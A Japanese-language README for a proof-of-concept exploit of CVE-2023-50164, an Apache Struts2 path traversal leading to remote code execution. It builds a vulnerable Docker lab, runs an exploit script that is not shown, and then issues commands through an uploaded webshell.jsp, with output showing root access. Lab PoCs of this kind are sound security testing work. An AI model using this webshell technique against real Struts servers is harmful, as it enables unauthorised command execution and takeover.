CVE-2023-50164（Apache Struts パストラバーサルからRCEへの脆弱性）- 概念実証

このPoCは、Apache Struts2の脆弱性を悪用してRCE（リモートコード実行）をテストするために作成されました。

イメージをビルドしてコンテナを実行します：

$ DOCKER_BUILDKIT=1 docker build  . -t struts2-rce-poc && docker run --rm -p 8080:8080 struts2-rce-poc

エクスプロイトを実行します：

$ cd exploit
$ ./exploit.sh

これで、サーバー側で任意のコマンドを実行できるようになります：

$ curl http://localhost:8080/webshell/webshell.jsp\?cmd\=id%20-a  

uid=0(root) gid=0(root) groups=0(root)

クレジット

• 脆弱なアプリケーションの例を提供してくれた @jakabakos に感謝します（https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE）
• 上記の図を提供してくれた Zscaler ThreatLabz に感謝します（https://www.zscaler.com/blogs/security-research/coverage-advisory-cve-2023-50164-apache-struts-path-traversal-and-file）